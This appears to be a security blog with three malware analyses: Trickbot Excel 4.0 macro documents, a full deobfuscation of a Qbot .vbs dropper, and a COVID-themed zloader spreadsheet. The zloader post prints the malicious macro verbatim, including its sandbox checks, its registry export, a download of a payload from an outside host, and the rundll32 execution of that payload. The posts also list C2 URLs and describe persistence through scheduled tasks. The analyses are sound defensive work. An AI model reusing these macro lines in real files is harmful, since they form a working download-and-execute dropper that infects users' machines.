Trickbot/Excel 4.0 macros: There’s got to be a better way

Zloader malicious documents that make use of Excel 4.0 macros are neat and tidy. They’ve got the entire macro all lined up in nice and even rows. They all get executed in order starting with column A, then B and so on to column P.

As the macros run, column Q gets filled up with more commands. Cell P21 says to jump to Q4 and keep executing whatever is there.

This is not the case with this document here: https://app.any.run/tasks/0e65341d-54c0-4886-ba2b-22b91665d922. If we unhide all of the extra sheets, we see what seems to be an empty macro. However, if we zoom all the way out, we can see data scattered all over the place.

What is similar

Like the zloader Excel 4.0 macros, the commands start in column A and work their way down. Then they go to column B and so on until the final column (in this case, it is column IO). These macros also write new data to new cells. This new data is used to put together a string to download data from a URL.

What is different

The big difference is that the new data is scattered all over the place. As =RUN() commands are executed, new data is written elsewhere. Who knows where it is going to land? The sheer size of these worksheets makes analysis difficult.

How to analyze?

Behavioral analysis can get you the URL that the document is trying to reach. Fire up Wireshark, enable content, and you ought to get what you need.

What about working within the document itself? If we have the document open and ‘enable content’, the macro will execute and new data will be written to cells. It is likely those cells will contain strings that get executed by the macros. However, those strings will be scattered all over the place. How can we get rid of all that white space?

It is possible to do this in Excel. We can select all of the blank cells and then shift everything up. First, go to “Find & Select” and choose “Go To Special…”, select “Blanks”, and then click OK.

Once all of the blanks are selected, press CTRL – (minus sign). Select “Shift cells up” and click OK.

All of the empty cells will be removed and the cells with data will get moved to the top of their columns. It is important to note that many of the =RUN() cells will be broken thanks to shifting all of the cells up.

We can then start scrolling to the right to look for strings that weren’t there before.

Here’s the URL that it’s call out to. URLhaus has it tagged as Trickbot.

There’s got to be a better way…

So what’s faster? Wireshark? A bunch of clicking and screwing around with Excel? I don’t know. But there’s got to be a better way. At least, I hope there’s a better way. Maybe this will spark an idea for someone.

Until then, thanks for reading!

Qbot – .vbs file full deobfuscation

Got a bunch of phish that were slip-streamed in from a compromised account the other day. But for some reason, this one stood out from the rest…

Challenge accepted! Amongst the phish we received, all of the URLs were similar in that you downloaded a zip file from a wordpress site.

https[:]//dpupr[.]lomboktengahkab[.]go[.]id/wp-content/uploads/2020/04/cursors/49370588[.]zip

Inside the .zip file was a single .vbs file. You can get your own copy here:

https://app.any.run/tasks/a2d608aa-564b-40d9-8d18-30a8ca9f22bd
https://www.virustotal.com/gui/file/fae1b5d6ca9ac950b00a25a2e9a22ce5b35f62b7b37ba2d7bcc07de94b1af2ea/detection

Based on the any.run activity, we can see the .vbs file reaches out to corbuchrochet.com along with a base64 encoded string of system information.

http[:]//corbucrochet[.]com/cursors/444444[.]png?uid=TQBpAGMAcgBvAHMAbwBm…

Yet, is this all there is to this script? What follows will be a full deobfuscation of the .vbs script in the downloaded .zip file. I’m not doing this just for intellectual pursuits. The danger of relying on a sandbox alone is that you may miss other indicators of compromise. And we’re going to find out that’s the case here. A link to the deobfuscated file can be found at the bottom.

Overview

Upon opening the .vbs file, we see that it is filled with a ton of garbage… over 10 megabytes, actually. Most of it is taken up by the green text below. But what about the rest of it? Line 10 contains a string that is over 41,000 characters long. That is likely not garbage. There’s also a bunch of math and other variables scattered throughout the script. Is it useless?

Base64 strings

After getting rid of the green text, we’re left with something a bit more manageable. We can see scattered throughout the script is a function named MRJTm() next to some base64 encoded strings. It’s a safe bet that MRJTm() is the function that decodes those strings. If you go and investigate it, you’ll see that it does. We could do a search/replace of MRJTM to something like decode_base64 in order to make our script easier to read.

Line 264: wscript.shell
Line 268: Looks like whatever gets downloaded ends up in %TEMP% and named PaintHelper.

Cleaning up more garbage in functions

At this point, there’s still a bunch of garbage text that needs to be removed. This is where the long slog through the .vbs script begins. How to tell what is needed and what isn’t?

Let’s use this function near the bottom as an example. We can see the function name of bZfje is also used as the return variable. The parameter fed to the function (JlpGX) is tossed into Cstr(), a .vbs command that turns an expression into a string. Note, that none of the other variables are used in this function at all.

Before

If we rename the function with what seems to be its purpose and get rid of the extraneous variables, we end up with this instead.

After

I then started from the bottom of the script and kept getting rid of extra variables. Here’s some more that got cleaned up.

What about those URLs?

In order to explain this, I’m going to grab some important lines from the script. This means that what you’ll be seeing next is not the original section of script that you’ve seen above. This is meant to help illustrate what is going on.

First, line 96 contains the base64 encoded string for “GET”. This is the line that reaches out to download something. Variable LidvFFe will be the actual URL and variable Zbqxn gets tacked onto the URL.

LidvFFe comes from line 90. It takes the string fed to the function (param_01) and splits it on seven underscore characters. Line 86 calls function CBvJkMY with a parameter of YToIIxnf.

Variable YoIIxnf (line 86) is ultimately derived from variable HMTkcZ (line 2). Function hYpafX (lines 4-79) is used to decode HMTkcZ several times (lines 82-84). This output gets saved into YoIIxnf which as we’ve seen makes its way to variable LidvFFe (line 96).

Since we’ve determined that line 96 is where the URL is called (variable LidvFFe), I put a wscript.echo command right after it (line 97, above). If we call up our script from the command line with cscript, variables LidvFFe and Zbqxn should be printed to the screen. Note, you’ll have to remove the apostrophe that comments out the line.

http[:]//corbucrochet[.]com/cursors/444444[.]png?uid=
http[:]//academiaomena[.]com/cursors/444444[.]png?uid=
http[:]//stajer[.]eu/cursors/444444[.]png?uid=
http[:]//a[.]assignmentproff[.]com/ashduhfudsf[.]png?uid=

VwBpAG4AZABvAHcAcwAgAEQAZQBmAGUAbgBkAGUAcgAgAC0AIAA2ACwAMgAxACwAMAB8AE0AaQBjAHIAbwBzAG8AZgB0ACAAVwBpAG4AZABvAHcAcwAgADEAMAAgAFAAcgBvAA==
Decoded base64:    Windows Defender - 6,21,0|Microsoft Windows 10 Pro

We can then see all four URLs contained in this script. Tacked onto the end is a long string of base64 encoded text. While it is simple enough to decode it and see what it contains, how did it get there?

Getting System Information

Variable Zbqxn comes from line 92. The information in it originally comes from function uTFjNC which grabs system information, which then gets fed into VUjtEX and encoded into base64.

Function uTFjNC is mostly a bunch of hex characters and junk code.

However, if we condense the hex characters, get rid of the junk code, and rename some variables, it begins to make more sense. The script is creating a WMI instance to query information about the machine. Seems like it is looking for AntiVirus products and information on the Operating System.

Persistence: Task Scheduler

Finally, this script establishes persistence. After an executable gets downloaded to the Temp folder and named PaintHelper.exe, the script creates a scheduled task. Look for the variable named margaritasexy to see the beginning of that section. It calls up Schedule.service on line 388.

From there it sets up things like the name of the task, what time it will run, and what will be executed. Here’s what it looks like in Task Scheduler and in the registry.

NOTE the red arrow pointing from Id to the Tasks folder. That ID ({56D3…}) also has an entry in the Tasks folder above. That needs to be deleted as well.

My deobfuscated script

As promised, my cleaned-up script can be found here: https://pastebin.com/F3QiP9rG

And as always, thanks for reading.

COVID-19, Excel 4.0 Macros, and Sandbox Detection – #zloader

This email came across my desk this morning. It has a COVID-19 theme along with this .xls attachment.

OLEVBA.py

First things first, we can see in the first picture below that it does say we’ve got an Excel 4.0 macro sheet, very hidden. This is good information for how to tackle this document. While olevba.py does extract the OLE stream, the output isn’t all that helpful. I don’t blame that on the tool. I believe it is due to the way this macro has been obfuscated. Either way, we can tell that something is going on here.

OLEDUMP.py

This blog post from SANS shows how to examine the OLE object using oledump.py. Again, the output isn’t very helpful.

Getting to the macro

How then can we examine the actual macro inside the document? Notice how the output of both olevba.py and oledump.py showed that the Excel 4.0 macrosheet was very hidden.

Google tells you that there are multiple ways to get these sheets visible. I tried a bunch of them and the method described here worked for me. You will need the following code:

Sub ShowAllSheets()
    Dim sh As Worksheet
    For Each sh In ActiveWorkbook.Sheets
    sh.Visible = True
    Next
End Sub

Copy that into the exiting macro sheet like so and click play/Run/(press F5).

Before…

After running the macro, you will see the unhidden sheet:

After!

This is where things get interesting. We can see columns A – O full of =CHAR(xx) characters. They all get sewn together in column P and the output is tossed in column Q. I’ve hidden a few of the columns to show what’s going on a bit easier. Please pardon my anemic drawing skills.

In the section below, the formula in P1 takes all of the characters from column A, sews them together, and places them in column Q4. The rest of the commands are put together in a similar manner by continuing down column P and adding more commands to column Q. The last line in column P then says =GOTO(Q4).

Column Q: Macro Analysis and Sandbox Evasion Techniques

Let’s look at the commands in column Q section by section. I found the .pdf here to be very helpful in understanding what is going on.

This first section of the macro shows the first attempt to see if it is being executed in a sandbox. GET.WORKSPACE 19 and 42 check to see if a mouse is present and if the computer is capable of playing sounds, respectively. GET.WORKSPACE(1) checks the environment in which Microsoft Excel is running followed by the environment’s version number.

=IF(GET.WORKSPACE(19),,CLOSE(TRUE))
=IF(GET.WORKSPACE(42),,CLOSE(TRUE))
=IF(ISNUMBER(SEARCH("Windows",GET.WORKSPACE(1))), ,CLOSE(TRUE))

If those three are true, then copy the Excel security registry keys to C:\Users\public\1.reg.

=CALL("Shell32","ShellExecuteA","JJCCCJJ",0,"open","C:\Windows\system32\reg.exe","EXPORT HKCU\Software\Microsoft\Office\"&GET.WORKSPACE(2)&"\Excel\Security c:\users\public\1.reg /y",0,5)

Next, it waits for three seconds. It then opens 1.reg, starts at byte position 215, and reads the next 255 bytes.

=WAIT(NOW()+"00:00:03")
=FOPEN("c:\users\public\1.reg")
=FPOS(Q10, 215)
=FREAD(Q10, 255)

What is in that section of 1.reg? Below is the highlighted section in a hex editor and Notepad. It contains the registry values for AccessVBOM and especially VBAWarnings.

1.reg gets closed and deleted. It then searches what was read (stored in cell Q12) for the string “0001”. This is the second test to see if it is in a sandbox. If it finds that string, it will close the spreadsheet. If it does not find the string “0001”, it will then attempt to download a file and save it as an .html file in C:\Users\Public\.

=FCLOSE(Q10)
=FILE.DELETE("c:\users\public\1.reg")
=IF(ISNUMBER(SEARCH("0001",Q12)),CLOSE(FALSE),)
=CALL("urlmon","URLDownloadToFileA","JJCCJJ",0,"https://efbzfyvsb.website/f2f23","c:\Users\Public\b7gf5yk.html",0,0)

What does the string “0001” have to do with anything? Changing the settings for what Excel does with macros changes the registry settings for VBAWarnings. If our macro sees that VBAWarnings are set to 1, this means that “Enable all macros” have been set. And only sandboxes would have macros set to always run… right?

So as a reward for having your company’s group policy set to disable all macros, our malicious document then shows an alert, followed by a call to run the saved .html file (which by the way is actually an .exe).

=ALERT("The workbook cannot be opened or repaired by Microsoft Excel because it's corrupt.",2)
=CALL("Shell32","ShellExecuteA","JJCCCJJ",0,"open","C:\Windows\system32\rundll32.exe","c:\Users\Public\b7gf5yk.html,DllRegisterServer",0,5)
=CLOSE(FALSE)

I’m not exactly sure what initial loader gets downloaded, but I will update this when I get more info.

UPDATE: Word on the street is zloader gets downloaded.

Until then, thanks for reading!